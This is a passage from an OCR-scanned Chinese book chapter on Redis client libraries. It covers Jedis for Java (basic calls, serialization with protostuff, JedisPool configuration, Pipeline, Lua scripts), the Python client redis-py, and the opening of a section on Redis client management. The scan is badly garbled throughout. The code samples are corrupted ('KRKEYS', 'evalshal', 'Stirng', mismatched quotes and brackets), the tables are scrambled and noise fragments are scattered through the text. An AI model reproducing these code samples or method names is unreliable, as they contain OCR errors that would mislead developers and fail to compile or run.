有 了 RESP 提 供 的 发 送 命 令 和 返回 结果 的 协议 格式 ， 各 种 编程 语言 就 可 
以 利用 其 来 实现 相应 的 Redis 客 户 端 ， 后 面 两 节 将 介绍 Java 和 Python 两 个 编程 
语言 的 Redis 客 户 端 。 
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4.2 Java 客户 疹 Jedis 


Java 有 很 多 优秀 的 Redis 客 户 端 〈 详 见 : http://redis.io/clients#java) ， 这 
里 介绍 使 用 较为 广泛 的 客户 端 Jedis， 本 节 将 按照 以 下 几 个 方面 对 Jedis 进 行 


介绍 : 


获取 Jedis 
-Jedis 的 基本 使 用 
Jedis 连 接 池 使 用 
.Jedis 中 Pipeline 使 用 


Jedis 的 Lua 脚 本 使 用 
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4.2.1 获取 Jedis 





Jedis 属 于 Java 的 第 三 方 开发 包 ， 在 Java 中 获取 第 三 方 开发 包 通 常 有 两 种 
方式 : 





.直接 下 载 目标 版 本 的 Jedis-$fversion} .jar 包 加 入 到 项 目 中 。 


.使 用 集成 构建 工具 ， 例 如 maven、gradle 等 将 Jedis 目 标 版 本 的 配置 加 入 
到 项 目 中 。 





通常 在 实际 项 目 中 使 用 第 二 种 方式 ， 但 如 果 只 是 想 测 试 一 下 Jedis， 第 
一 种 方法 也 是 可 以 的 。 在 写本 书 时 ，Jedis 最 新 发 布 的 稳定 版 本 2.8.2， 以 
Maven 为 例子 ， 在 项 目 中 加 入 下 面 的 依赖 即 可 : 


<dependency> 
<groupId>redis.clients</groupId> 
<artifactId>jedis</artifactId> 
<version>2.8.2</version> 
</dependency> 





对 于 第 三 方 开发 包 ， 版 本 的 选择 也 是 至 关 重 要 的 ， 因 为 Redis 更 新 速度 
比较 快 ， 如 果 客 户 端 跟 不 上 服务 端的 速度 ， 有 些 特性 和 bug 不 能 及 时 更 新 ， 
不 利于 日 常 开发 。 通 常 来 讲 选取 第 三 方 开发 包 有 如 下 两 个 全 略 : 





选择 比较 稳定 的 版 本 ， 也 就 是 尽 可 能 选择 稳定 的 里 程 碑 版 本 ， 这 些 版 
本 已 经 经 过 多 次 alpha，beta 的 修复 ， 基 本 算是 稳定 了 。 











:选择 更 新 活跃 的 第 三 方 开 发 包 ， 例 如 Redis3.0 有 了 Redis Cluster 新 特 
性 ， 但 是 如 果 使 用 的 客户 端 一 直 不 支持 ， 并 且 维 护 的 人 也 比较 少 ， 这 种 就 说 
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慎 选 择 。 


本 节 介 绍 的 Jedis 基 本 满足 上 述 两 个 特点 ， 下 面 将 对 Jedis 的 基本 使 用 方 
法 进行 介绍 。 
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4.2.2 Jedis 的 基本 使 用 方法 








Jedis 的 使 用 方法 非常 简单 ， 只 要 下 面 三 行 代 码 就 可 以 实现 get 功 能 

















# 工 。 生成 一 个 Jedis 对 象 这 个 对 象 负责 和 指定 Redis 实 例 进行 通信 
Jedis jedis = new Jedis("127.0.0.1", 6379); 
# 2. jedis 执 行 Set 操 作 

jedis.set("hello", "world"); 

# 3. jedis 执 行 9get 操 作 ，value="world" 

String value = jedis.get ("hnello"); 














可 以 看 到 初始 化 Jedis 需 要 两 个 参数 : Redis 实 例 的 他 和 端口 ， 除 了 这 两 
个 参数 外 ， 还 有 一 个 包含 了 四 个 参数 的 构造 函数 是 比较 常用 的 : 








Jedis(final String host, final int port, final int connectionTimeout, final int 
soTimeout) 





参数 说 明 : 

“host: Redis 实 例 的 所 在 机 絮 的 人 P。 
-port: Redis 实 例 的 端口 。 
connectionTimeout: 客户 端 连 接 超 时 。 
“soTimeout: 客户 端 读 写 超时 。 


如 果 想 看 一 下 执行 结 











String setResult = jedis.setl(" 
String getResult = jedis.getl(" 
System.out .println (setResult); 
System.out.println (getResult); 


TWOELOT) 2 

















hello™.:; 
h DO) 
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输出 结果 为 : 





OK 
world 





可 以 看 到 jedis.set 的 返回 结果 是 OK， 和 redis-cli 的 执行 效果 是 一 样 的 ， 
只 不 过 结果 类 型 变 为 了 Java 的 数据 类 型 。 上 面 的 这 种 写法 只 是 为 了 演示 使 
用 ， 在 实际 项 目 中 比较 推荐 使 用 try catch finally 的 形式 来 进行 代码 的 书写 : 
一 方面 可 以 在 Jedis 出 现 异 常 的 时 候 〈 本 身 是 网 络 操作 ) ， 将 异常 进行 捕获 
或 者 抛 出 ， 另 一 个 方面 无 论 执行 成 功 或 者 失败 ， 将 Jedis 连 接 关 闭 掉 ， 在 开 
发 中 关闭 不 用 的 连接 资源 是 一 种 好 的 习惯 ， 代 码 类 似 如 下 : 














Jedis jedis = null; 
ty 江 
jedis = new Jedis("127.0.0.1", 6379); 
jedis.get ("hello"™"); 
} catch (Exception e) { 
logger.error (e.getMessage (),e); 
} finally { 
if (jedis != null) { 
jedis.close(); 














} 





下 面 用 一 个 例子 说 明 Jedis 对 于 Redis 五 种 数据 结构 的 操作 ， 为 了 节省 篇 
幅 ， 所 有 返回 结果 放 在 注释 中 。 





// 1l.string 

// 输出 结果 : OK 
jedis.set("hello", "world"); 
// 输出 结果 : world 
jedis.get ("hello"); 

// 输出 结果 :1 

jedis.incr ("counter"); 

// 2.hash 

jedis.hset ("myhash", "fi1", "v1l"); 
jedis.hset ("myhash", "“f2", "v2"); 
// 输出 结果 : {f1=vl, f2=v21 
jedis.hgetAll ("myhash"); 

// 3.1list 

jedis.rpush ("mylist", "1") 7 
Jedis.rpush ("mylist™, 2);» 
jedis.rpush ("mylist", "37") 7 
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// 输出 结果 : [1，2，3] 
jedis.lrange ("mylist", 0, -1); 

// 4.set 

jedis.sadd ("myset", "a"); 

jedis.sadd ("myset", "bpb"); 

jedis.sadd ("myset", "a"); 

// 输出 结果 : [b，a] 

jedis.smembers ("myset"); 

// 5.zset 

jedis.zadd ("myzset", 99, "tom"); 
jedis.zadd ("myzset", 66, "peter"™); 
jedis.zadd ("myzset", 33, "james"); 

/7 / 输出 结果 [ll"james"]y33.0], [Il"peter"],66.0]; Ll"tom"]ly99.0]1] 
jedis.zrangeWithScores ("myzset", 0, -1); 








参数 除了 可 以 是 字符 串 ，Jedis 还 提供 了 字 节 数组 的 参数 ， 例 如 : 





final String key, String value) 

final byte[] key, final byte[] value) 
final byte[] key) 

final String key) 


public String set 
public String set 
public byte[] get 
public String get 








( 
( 
( 
( 





有 了 这 些 API 的 支持 ， 就 可 以 将 Java 对 象 序列 化 为 二 进 制 ， 当 应 用 需要 
获取 Java 对 象 时 ， 使 用 get (final byte[]key) 函数 将 字 节 数组 取出 ， 然 后 反 序 
列 化 为 Java 对 象 即 可 。 和 很 多 NoSQL 数 据 库 〈 例 如 Memcache、Ehcache) 的 
客户 端 不 同 ，Jedis 本 身 没 有 提供 序列 化 的 工具 ， 也 就 是 说 开发 者 需要 自己 
引入 序列 化 的 工具 。 序 列 化 的 工具 有 很 多 ， 例 如 XML、Json、 谷 歌 的 
Protobuf、Facebook 的 Thrif 等 等 ， 对 于 序列 化 工具 的 选择 开发 者 可 以 根据 自 
身 需 求 决定 ， 下 面 以 protostuff (Protobuf 的 Java 客 户 端 ) 为 例子 进行 说 明 。 


1 ) protostuff 的 Maven 依 赖 : 





<protostuff.version>1.0.11</protostuff.version> 

<dependency> 
<groupId>com.dyuproject.protostuff</groupId> 
<artifactId>protostuff-runtime</artifactId> 
<version>$ {protostuff.version}</version> 

</dependency> 

<dependency> 
<groupId>com.dyuproject.protostuff</groupId> 
<artifactId>protostuff-core</artifactId> 
<version>$ {protostuff.version}</version> 

</dependency> 


二 一 
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2) 定义 实体 类 : 





























/六 id 
// ”名称 
/ / 描述 
/ / 创建 日 期 
/ / 排名 


/ / 俱乐部 
public class Club implements Serializable { 
private int id; 
private String name; 
private String info; 
private Date createDate; 
private int rank; 
// 相应 的 getter setter 不 占用 篇 幅 





3) 序列 化 工具 类 ProtostuffSerializer 提 供 了 序列 化 和 反 序 列 化 方法 : 





package com.sohu.tv.serializer; 


import 
import 
import 
import 
import 
/ /序列 化 了 


com.dyuproject.protostuff. 
com.dyuproject.protostuff. 
com.dyuproject.protostuff. 
com.dyuproject.protostuff. 
til.concurrent.ConcurrentHashMap; 


java.u 
[ 具 





LinkedBuffer; 
ProtostuffIOUtil1,; 
Schema; 
runtime.RuntimeSchema; 


public class ProtostuffSerializer { 


private Schema<Club> schema = 
public byte[] serialize (final Club club) 
final LinkedBuffer buff 
BUFFER SIZE); 
on 


} 


RuntimeSchema.createFrom(Club.class); 


{ 








r= LinkedBuffer.allocat 
































(LinkedBuffer.DEFAULT 





























return serializeInternal (club, schema, buffer); 
} catch (final Exception e) { 
throw new IllegalStateException(e.getMessage(), > 
} finally ({ 
buffer.clear ();，; 
} 
public Club deserialize (final byte[] bytes) { 
ty 渤 
Club club = qdqeserializeInternal (bytes, schema.newMessage(), schema) 
if (club != null ) { 
EEtUErn CLUD: 
} 
} catch (final Exception e) { 
throw new IllegalStateException(e.getMessage(), 过 
} 
return null; 


} 


private <T> byte [] 


} 


private <T> T deserializeInternal (final pytel[] 





schema, 
return ProtostuffIOU 





{ 


Schema<T> schema) 


ProtostuffIOUtil.mergeFrom(bytes, 


return result; 


serializeInternal (final T source, 
final LinkedBuffer buffer) 


final Schema<T> 
{ 


til.toByteArray (source, schema, buffer); 
bytes, final T result, final 
result, schema); 
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4) 测试 。 


生成 序列 化 工具 类 : 





ProtostuffSerializer protostuffSerializer = new ProtostuffSerializer(); 





生成 Jedis 对 象 : 








Jedis jedis = new Jedis("127.0.0.1"，6379) ; 





序列 化 : 





String key = "club:1"; 

/ / 定义 实体 对 象 

Club clupb = new Club (1, "AC", "米兰 "，new Date(), 1); 

// 序列 化 

byte[] clubBtyes = protostuffSerializer.serialize (club); 
jedis.set (key.getBytes(), clubBtyes); 

















反 序 列 化 : 














byte[] resultBtyes = jedis.get (key.getBytes () ) ; 

// 反 序 列 化 [id=1，clLubName=AC，Cc1LubInfo= 米 兰 ， createDate=Tue Sep 15 09:53:18 CST 
// 2015, rank=1] 

Club resultClub = protostuffSerializer.deserialize (resultBtyes); 
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4.2.3 Jedis 连 接 池 的 使 用 方法 


4.2.2 节 介绍 的 是 Jedis 的 直 连 方式 ， 所 谓 直 连 是 指 Jedis 每 次 都 会 新 建 TCP 
连接 ， 使 用 后 再 断 开 连接 ， 对 于 频繁 访问 Redis 的 场景 显然 不 是 高 效 的 使 用 
方式 ， 如 图 4-3 所 示 。 








2, get | set | ping 
. . . — a 一 人 
1. Jedis jedis 三 new Jedis( ) 
4. jedis.close( ) 如一 一 
es = 3, return result 


Redis 


图 4-3 ”Jedis 直 连 Redis 


因此 生产 环境 中 一 般 使 用 连接 池 的 方式 对 Jedis 连 接 进行 管理 ， 如 图 4-4 
所 示 ， 所 有 Jedis 对 象 预先 放 在 池子 中 〈JedisPool) ， 每 次 要 连接 Redis， 只 
需要 在 池子 中 借 ， 用 完了 在 归还 给 池子 。 
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2, get | set | bin 
.ON 8 Pa 
vo 


er | getJedisFromPool | 


‘CS ” 
、 






可 -一 
3, Result 


了 2. get | set | ping 
PE 一 
getJedisFromPool Redis 
一 一生 
< 一 
, borrow 3, Result 


JedisPool 






ops 
Gr 了 

‘ Z, oet |set | pino 
< get| set| Ping 


getJedisFromPool 


bor~ 


3, Result 





图 4-4 Jedis 连 接 池 使 用 方式 


连接 Redis 使 用 的 是 TCP 协 议 ， 直 连 的 方式 每 次 需要 建立 TCP 连 
接 ， 而 连接 池 的 方式 是 可 以 预先 初始 化 好 Jedis 连 接 ， 所 以 每 次 只 需要 从 
Jedis 连 接 池 借用 即 可 ， 而 借用 和 归还 操作 是 在 本 地 进行 的 ， 只 有 少量 的 并 
发 同步 开销 ， 远 远 小 于 新 建 TCP 连 接 的 开销 。 另 外 直 连 的 方式 无 法 限制 Jedis 
对 象 的 个 数 ， 在 极端 情况 下 可 能 会 造成 连接 泄露 ， 而 连接 池 的 形式 可 以 有 效 
的 保护 和 控制 资源 的 使 用 。 但 是 直 连 的 方式 也 并 不 是 一 无 是 处 ， 表 4-1 给 出 
两 种 方式 各 自 的 优 和 劣势 


表 4-1 Jedis 直 连 方式 和 连接 池 方 式 对 比 


缺 ”点 
1 ) 存在 每 次 新 建 /关闭 TCP 连接 开销 
简单 方便 ， 适 用 于 少量 长 期 连接 的 场景 2 ) 资源 无 法 控制 ， 极 端 情况 会 出 现 连 接 泄 露 


3 ) Jedis 对 象 线程 不 安全 

相对 于 直 连 ， 使 用 相对 麻烦 ， 尤 其 在 资源 的 管理 
上 需要 很 多 参数 来 保证 ， 一 旦 规划 不 合理 也 会 出 现 
问题 


) 无 需 每 次 连接 都 生成 Jedis 对 象 ， 降 低 开 销 
2 ) 使 用 连接 池 的 形式 保护 和 控制 资源 的 使 用 
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Jedis 提 供 了 JedisPool 这 个 类 作为 对 Jedis 的 连接 池 ， 同 时 使 用 了 Apache 的 
通用 对 象 池 工具 common-pool 作 为 资源 的 管理 工具 ， 下 面 是 使 用 JedisPool 操 
作 Redis 的 代码 示例 : 


1) Jedis 连 接 池 (通常 JedisPool 是 单 例 的 ): 




















// common-pPool 连 接 池 配 置 ， 这 里 使 用 默认 配置 ， 后 面 小 节 会 介绍 具体 配置 说 明 

GenericObjectPoolConfig poolConfig = new GenericObjectPoolConfig(); 
/ / ”初始 化 Jedi s 连 接 池 
JedisPool jedisPool = new JedisPool (poolConfig, "127.0.0.1", 6379); 


























2) 获取 Jedis 对 象 不 再 是 特 接生 成 一 个 Jedis 对 象 进行 下 连 ， 而 是 从 连接 
池 直 接 获 取 ， 代 码 如 下 : 





Jedis jedis = null; 


ty 
// 1 . 从 连接 池 获 取 jedis 对 象 
jedis = jedisPool.getResource (); 
// 2 . 执行 操作 





jedis.get ("hello"); 
} catch (Exception e) { 
logger.error (e.getMessage (),e); 
} finally { 
if (jedis != null) ({ 
/ / ”如 果 使 用 JedisPool，Close 操 作 不 是 关闭 连接 :代表 归还 连接 池 
jedis.close(); 
































这 里 可 以 看 到 在 finally 中 依然 是 jedis.close () 操作 ， 为 什么 会 把 连接 关 
闭 呢 ， 这 不 和 连接 池 的 原则 违背 了 吗 ? 但 实际 上 Jedis 的 close〈) 实现 方式 
如 下 : 
































public void close() { 
// 使 用 Jedis 连 接 池 
if (dataSource != null) { 
if (client.isBroken()) { 
this.dataSource.returnBrokenResource (this); 
} else { 


this.dataSource.returnResource (this); 








} else { 
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client.close(); 





参数 说 明 : 


.dataSource! =null 代 表 使 用 的 是 连接 池 ， 所 以 jedis.close〈) 代表 归还 
连接 给 连接 池 ， 而 且 Jedis 会 判断 当前 连接 是 否 已 经 断 开 。 





.dataSource=null 代 表 直 连 ，jedis.close 〈) 代表 关闭 连接 。 





前 面 GenericObjectPoolConfig 使 用 的 是 默认 配置 ， 实 际 它 提供 有 很 多 参 
数 ， 例 如 池子 中 最 大 连接 数 、 最 大 空闲 连接 数 、 最 小 空闲 连接 数 、 连 接 活性 
检测 ， 等 等 ， 例 如 下 面 代码 : 








GenericObjectPoolConfig poolConfig = new GenericObjectPoolConfig(); 
/ / 设置 最 大 连接 数 为 默认 值 的 5 倍 
poolConfig.setMaxTotal (GenericObjectPoolConfig.DEFAULT MAX _ TOTAL * 5); 
/ / 设置 最 大 空闲 连接 数 为 默认 值 的 3 倍 

PoolConfig.setMaxIdle (GenericObjectPoolConfig.DEFAULT MAX IDIE * 3); 

/ / 设置 最 小 空闲 连接 数 为 默认 值 的 2 倍 

PoolConfig.setMinIdle (GenericObjectPoolConfig.DEFAULT MIN IDIE * 2); 

/ / 设置 开启 jmx 功 能 

poolConfig.setJmxEnabled (true); 

// 设置 连接 池 没 有 连接 后 客户 端的 最 大 等 待 时 间 (单位 为 毫秒 ) 
poolConfig.setMaxWaitMillis(3000); 



























































汪 























上 面 几 个 是 GenericObjectPoolConfig 几 个 比较 常用 的 属性 ， 表 4-2 给 出 了 
Generic-ObjectPoolConfig 其 他 属性 及 其 含义 解释 。 


表 4-2 ”GenericObjectPoolConfig 的 重要 属性 
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参数 名 
maxActive 
maxIdle 
minIdle 
maxWaitMillis 
jmxEnabled 


minEvictableIdleTimeMillis 


numTestsPerEvictionRun 


testOnBorrow 


testonReturn 


testwhileIdle 


timeBetweenEvictionRunsMillis 


blockWhenExhausted 


默认 值 


3 
连接 池 中 最 大 空闲 的 连接 数 8 
连接 池 中 最 少 空 闲 的 连接 数 0 
当 连 接 池 资源 用 尽 后 ， 调 用 者 的 最 大 等 待 | -1 : 表示 永远 不 超 

时 间 (单位 为 毫秒 )， 一般 不 建议 使 用 默认 值 | 时 , 一 直 等 。 

是 否 开 启 jmx 监控 ， 如 果 应 用 开启 了 jmx 
端口 并 且 jmxEnabled 设置 为 true， 就 可 
以 通过 jconsole 或 者 jvisualvm 看 到 关 
于 连接 池 的 相关 统计 ， 有 助 于 了 解 连接 池 的 
使 用 情况 ， 并 且 可 以 针对 其 做 监控 统计 。 

连接 的 最 小 空闲 时 间 ， 达 到 此 值 后 空闲 连 





true 


1000L x 60L x 30 


接 将 被 移 除 毫秒 =30 分 钟 
做 空闲 连接 检测 时 ， 每 次 的 采样 数 3 
向 连接 池 借 用 连接 时 是 否 做 连接 有 效 性 检 
测 (ping), 无 效 连 接 会 被 移 除 ， 每 次 借用 多 | false 
执行 一 次 ping 命令 
向 连接 池 归 还 连接 时 是 否 做 连接 有 效 性 检 
测 ( ping), 无 效 连 接 会 被 移 除 ， 每 次 归还 多 | false 
执行 一 次 ping 命令 
向 连接 池 借 用 连接 时 是 否 做 连接 空闲 检测 ， CE 


空闲 超时 的 连接 会 被 移 除 
空闲 连接 的 检测 周期 (单位 为 毫秒 ) 
当 连 接 池 用 尽 后 ， 调 用 者 是 否 要 等 待 ， 这 个 
参数 是 和 maxWaitMillis 对 应 的 ， 只 有 当 此 
参数 为 true 时 ，maxWaitMi1llis 才 会 生效 


-1: 表示 不 做 检测 


true 
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4.2.4 Redis 中 Pipeline 的 使 用 方法 


3.3 节 介绍 了 Pipeline 的 基本 原理 ，Jedis 支 持 Pipeline 特 性 ， 我 们 知道 
Redis 提 供 了 mget、mset 方 法 ， 但 是 并 没有 提供 mdel 方 法 ， 如 果 想 实现 这 个 功 
能 ， 可 以 借助 Pipeline 来 模拟 批量 删除 ， 虽 然 不 会 像 mget 和 mset 那 样 是 一 个 原 
子 命令 ， 但 是 在 绝 大 数 场景 下 可 以 使 用 。 下 面 代码 是 mdel 删 除 的 实现 过 程 。 


Os 


这 里 为 了 节省 篇 幅 ， 没 有 写 try catch finally， 没 有 关闭 jedis。 





public void mdel (List<String> keys) ({ 
Jedis jedis = new Jedis ("127.0.0.1"); 
// 1) 生 成 pipeline 对 象 
Pipeline pipeline = jedis.pipelined(); 
// 2)pipeline 执 行 命令 ,注意 此 时 命令 并 未 真正 执行 
for (String key : keys) { 
pipeline.del (key); 


























} 
// 3) 执行 命令 
pipeline.sync(); 





说 明 如 下 : 


.利用 jedis 对 象 生 成 一 个 pipeline 对 象 ， 直 接 可 以 调用 
jedis.pipelined () 。 


.将 del 命 令 封装 到 pipeline 中 ， 可 以 调用 pipeline.del (String key) ， 这 个 
方法 和 jedis.del (String key) 的 写法 是 完全 一 致 的 ， 只 不 过 此 时 不 会 真正 的 
执行 命令 。 


.使 用 pipeline.sync 〈) 完成 此 次 pipeline 对 象 的 调用 。 
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除了 pipeline.sync () ， 还 可 以 使 用 pipeline.syncAndReturnAll () 将 
pipeline 的 命令 进行 返回 ， 例 如 下 面 代码 将 set 和 incr 做 了 一 次 pipeline 操 作 ， 
并 顺序 打印 了 两 个 命令 的 结 





Jedis jedis = new Jedis ("127.0.0.1"); 
Pipeline pipeline = jedis.pipelined () ; 
pipeline.set ("hello", “world"); 
pipeline.incr("counter"); 
List<Object> resultList = pipeline.syncAndReturnAll (); 
for (Object object : resultList) { 

System.out.println (object); 























} 





输出 结果 为 : 
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4.2.5 _ Jedis 的 Lua 脚 本 


Jedis 中 执行 Lua 脚 本 和 redis-cli 十 分 类 似 ，Jedis 提 供 了 三 个 重要 的 函数 实 
现 Lua 脚 本 的 执行 : 





Object eval (String script, int keyCount, String... params) 
Object evalshal(String shal, int keyCount, String... params) 
String scriptLoad(String script) 








eval 函 数 有 三 个 参数 ， 分 别 是 ; 
script: Lua 脚 本 内 容 。 

keyCount: 键 的 个 数 。 

params: 相关 参数 KEYS 和 ARGYV。 


以 一 个 最 简单 的 Lua 脚 本 为 例子 进行 说 明 : 





return redis.call('get',KRKEYS[1]) 








在 redis-cli 中 执行 上 面 的 Lua 肢 本， 方法 如 下 : 





127.0.0.1:6379> eval "return redis.call('get',KEYS[1])" 1 hello 
VE 








在 Jedis 中 执行 ， 方 法 如 下 : 





String key = "hello"; 

String Script = "return redis.calll('get',KRKEYS[1])"; 
Object result = jedis.eval (script, 1, key); 

/ / ”打印 结果 为 norld 

System.out.println (result) 
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scriptLoad 和 evalsha 气 数 要 一 起 使 用 ， 首 先 使 用 scriptLoad 将 脚本 加 载 到 
Redis 中 ， 代 码 如 下 : 





String scriptSha = jedis.scriptLoad(script); 





evalsha 函 数 用 来 执行 脚本 的 SHA1 校 验 和 ， 它 需要 三 个 参数 : 
.scriptSha: 脚本 的 SHA1。 

“keyCount: 键 的 个 数 。 

-params: 相关 参数 KEYS 和 ARGYV。 


执行 效果 如 下 : 





Stirng key = "hello"; 

Object result = jedis.evalshal(scriptSsha, 1, key); 
/ / 打印 结果 为 norld 
System.out.println (result); 














总 体 来 说 ，Jedis 的 使 用 还 是 比较 简单 的 ， 重 点 注意 以 下 几 点 即 可 : 
1) Jedis 操 作 放 在 try catch finally 里 更 加 合理 。 
2) 区 分 直 连 和 连接 池 两 种 实现 方式 优 缺 点 。 


3) jedis.close《〈) 方法 的 两 种 实现 方式 。 





4) Jedis 依 赖 了 common-pool， 有 关 common-pool 的 参数 需要 根据 不 同 的 





使 用 场景 ， 各 不 相同 ， 需 要 具体 问题 具体 分 析 。 





5) 如 果 key 和 value 涉 及 了 字 节 数组 ， 需 要 上 自己 选择 适合 的 序列 化 方法 。 
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4.3 Python 客户 问 redis-py 





因为 本 书 主 要 使 用 Java 语 言 作为 编程 语言 ， 所 以 对 Python 的 客户 站 redis- 
py 不 会 太 详细 介绍 ， 主 要 介绍 以 下 几 个 方面 : 


获取 redis-py。 
:redis-py 的 基本 使 用 方法 。 
:redis-py 的 Pipeline 的 使 用 。 


Tedis-py 的 Lua 脚 本 使 用 。 
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4.3.1 获取 redis-py 


Redis 官 网 提供 了 很 多 Python 语言 的 客户 端 
(http://redis.io/clients#python〉， 但 最 被 广泛 认可 的 客户 端 是 redis-py。 
redis-py 需 要 Python2.7 以 上 版 本 ， 有 关 Python 的 安装 本 书 不 会 介绍 ， 主 要 介绍 
一 下 如 何 获取 安 闭 redis-py， 方 法 有 三 种 : 











第 一 ， 使 用 pip 进 行 安装 : 





pip install redis 








第 二 ， 使 用 easy install 进 行 安 装 : 





easy install redis 





第 三 ， 使 用 源码 安装 : 以 2.10.5 版 本 为 例子 进行 说 明 ， 只 需要 如 下 四 
步 : 





wget https:// github.com/andymccurdy/redis-py/archive/2.10.5.zip 
unzip redis-2.10.5.zip 

cd redis-2.10.5 

# 安 装 redis-py 

python setup.py install 
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4.3.2 redis-py 的 基本 使 用 方法 


1) 导入 依赖 库 : 





import redis 





2) 生成 客户 端 连接 : 需要 Redis 的 实例 全 和 端口 两 个 参数 : 





Client = redis.StrictRedis (host='127.0.0.1', port=6379) 








3) 执行 命令 : redis-py 的 API 保 留 了 Redis API 的 原始 风格 ， 所 以 使 用 起 
来 不 会 有 不 习惯 的 感觉: 





True 

lient.set (key, "python-redis") 
world 

lient.get (key) 


Q : 埋 DO 井 








整个 实例 代码 如 下 : 





import redis 

client = redis.StrictRedis (host='127.0.0.1', port=6379) 
key = "hello" 

setResult = client.set(key, "python-redis") 

print setResult 

value = client.get (key) 

print "key:" + key + ", value:" + Value 




















输出 结果 为 : 





True 
key:hello, value:python-redis 
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下 面 代码 给 出 redis-py 操 作 Redis 五 种 数据 结构 的 示例 ， 输 出 结果 写 在 注 
释 中 





#1.string 

# 输 出 结果 : True 

client.set ("hello","world") 
# 输 出 结果 : world 
client.get ("hello") 




















# 输 出 结果 : 1 

client.incr ("counter") 

#2 .hash 

client.hset ("myhash","f1l","vi") 
client.hset ("myhash","f2","v2") 
# 输 出 结果 ; {TEf1l "Ys Tvl "ff2": vy2'} 
client.hgetall ("myhash") 
#3.1ist 

client.rpush ("mylist","1") 
client.rpush ("mylist","2") 
Client rpush ("mylist", 3) 

# 输 出 结果 : ["'1'，"'2'，"'3'] 
client.lrange ("mylist", 0, -1) 
#4. set 

client.sadd ("myset","a") 


client.sadd ("myset","b") 
client.sadd ("myset","a") 
# 输 出 结果 : set (['a'，'b']) 





























client.smembers ("myset") 

#5.zset 

client.zadd ("myzset","99","tom") 

client.zadd ("myzset","66","peter") 

client.zadd ("myzset","33","james") 

# 输 出 结果 : [ ('james',， 33.0),， ('peter', 66.0),， ('tom', 99.0)] 
client.zrange ("myzset", 0, -1, withscores=True) 


二 一 一 = 了 
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4.3.3 ”redis-py 中 Pipeline 的 使 用 方法 


redis-py 文 持 Redis 的 Pipeline 功 能 ， 下 面 用 一 个 简单 的 示例 进行 说 明 。 


1) 引入 依赖 ， 生 成 客户 站 连接 : 





import redis 
client = redis.StrictRedis (host='127.0.0.1', port=6379) 








2) 生成 Pipeline: 注意 client.pipeline 包 含 了 一 个 参数 ， 如 果 
transaction=False 代 表 不 使 用 事务 : 





pipeline = client.pipeline (transaction=False) 





3) 将 命令 封装 到 Pipeline 中 ， 此 时 命令 并 没有 真正 执行 : 





pipeline.set ("hello","“world") 
pipeline.incr ("counter") 











4) 执行 Pipeline: 





#[True, 3] 
result = pipeline.execute() 








和 4.2.4 小 节 一 样 ， 将 用 redis-py 的 Pipeline 实 现 mdel 功 能 : 





import redis 
def mdel( keys ): 
Client = redis.StrictRedis (host='127.0.0.1', port=6379) 
pipeline = client.pipeline (transaction=False) 
for key in keys: 
print pipeline.delete (key) 
return pipeline.execute(); 











二 一 
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4.3.4 redis-py 中 的 Lua 脚 本 使 用 方法 


redis-py 中 执行 Lua 脚 本 和 redis-cli 十 分 类 似 ，redis-py 提 供 了 三 个 重要 的 
函数 实现 Lua 脚 本 的 执行 : 








eval (String script, int keyCount, String... params) 
script loadl(String script) 
evalsha(string shal, int keyCount, String... params: 





eval 函 数 有 三 个 参数 ， 分 别 是 ; 
script: Lua 脚 本 内 容 。 

keyCount: 键 的 个 数 。 

params: 相关 参数 KEYS 和 ARGYV。 


以 一 个 最 简 蛙 的 Lua 脚 本 为 例 进行 说 明 : 








return redis.call('get',KRKEYS[1]) 





在 redis-py 中 执行 ， 方 法 如 下 : 





import redis 

client = redis.StrictRedis (host='127.0.0.1', port=6379) 
script = "return redis.call('get',KRKEYS[1])" 

# 输 出 结果 为 norld 

print client.eval (script,1,"hello") 











script load 和 evalsha 函 数 要 一 起 使 用 ， 首 先 使 用 script 10ad 将 脚本 加 载 到 
Redis 中 ， 代 码 如 下 : 
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seriptSha.= client. script, load(sceript,) 





evalsha 函 数 用 来 执行 脚本 的 哈 希 值 ， 它 需要 三 个 参数 : 
scriptSha: 脚本 的 SHA1。 

“keyCount: 键 的 个 数 。 

-params: 相关 参数 KEYS 和 ARGYV。 


执行 效果 如 下 : 





print jedis.evalshal(scriptSha, 1, "hello"); 





完整 代码 如 下 : 





import redis 

client = redis.StrictRedis (host='127.0.0.1', port=6379) 
script = "return redis.call('get',KREYS[1])" 

scriptSha = client.script load (script) 

print client.evalshal(scriptSha, 1, "hello"); 
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4.4 客户 端 管 理 


Redis 提 供 了 客户 并 相关 API 对 其 状态 进行 监控 和 管理 ， 本 市 将 深入 介绍 
各 个 API 的 使 用 方法 以 及 在 开发 运 维 中 可 能 遇 到 的 问题 。 
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4.4.1 客户 端 AP 


1.cllient list 


client list 命 令 能 列 出 与 Redis 服 务 端 相连 的 所 有 客户 端 连 接 信 息 ， 例 如 下 
面 代码 是 在 一 个 Redis 实 例 上 执行 client list 的 结果 : 





1270 .001:6379> client li8t 

















































































































id=254487 addr=10.2.xx.234:60240 fd=1311 name= age=8888581 idle=8888581 flags=N 
db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-fr 0 obl=0 o 0 omem=0 events=r CIl 
id=300210 addr=10.2.xx.215:61972 fd=3342 name= age=8054103 idle=8054103 flags=N 
db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-fr 0 obl=0 o 0 omem=0 events=r Cl 
id=5448879 addr=10.16.xx.105:51157 fd=233 name= age=411281 idle=331077 flags=N 
db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-fr 0 obl=0 o 0 omem=0 events=r CIl 
id=2232080 addr=10.16.xx.55:32886 fd=946 name= age=603382 idle=331060 flags=N 
db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-fr 0 obl=0 o 0 omem=0 events=r Cl 
id=7125108 addr=10.10.xx.103:33403 fdq=139 name= age=241 idle=1 flags=N db=0 
sub=0 psub=0 multi=-1 qbuf=0 qbuf-fr 0 obl=0 o 0 omem=0 events=r cmd=d 
id=7125109 addr=10.10.xx.101:58658 fdq=140 name= age=241 idle=1 flags=N db=0 
sub=0 psub=0 multi=-1 qbuf=0 qbuf-fr 0 obl=0 o 0 omem=0 events=r cmd=d 
































输出 结果 的 每 一 行 代表 一 个 客户 端的 信息 ， 可 以 看 到 每 行 包含 了 十 几 个 
属性 ， 它 们 是 每 个 客户 端的 一 些 执行 状态 ， 理 解 这 些 属 性 对 于 Redis 的 开发 
I 运 维和 人 员 非 第 有 帮助 。 下 面 将 选择 几 个 重要 的 属性 进行 说 明 ， 其 余 通 过 表 
格 的 形式 进行 展示 。 


(1) 标识 : id、addr、 血 、name 





这 四 个 属性 属于 客户 端的 标识 : 


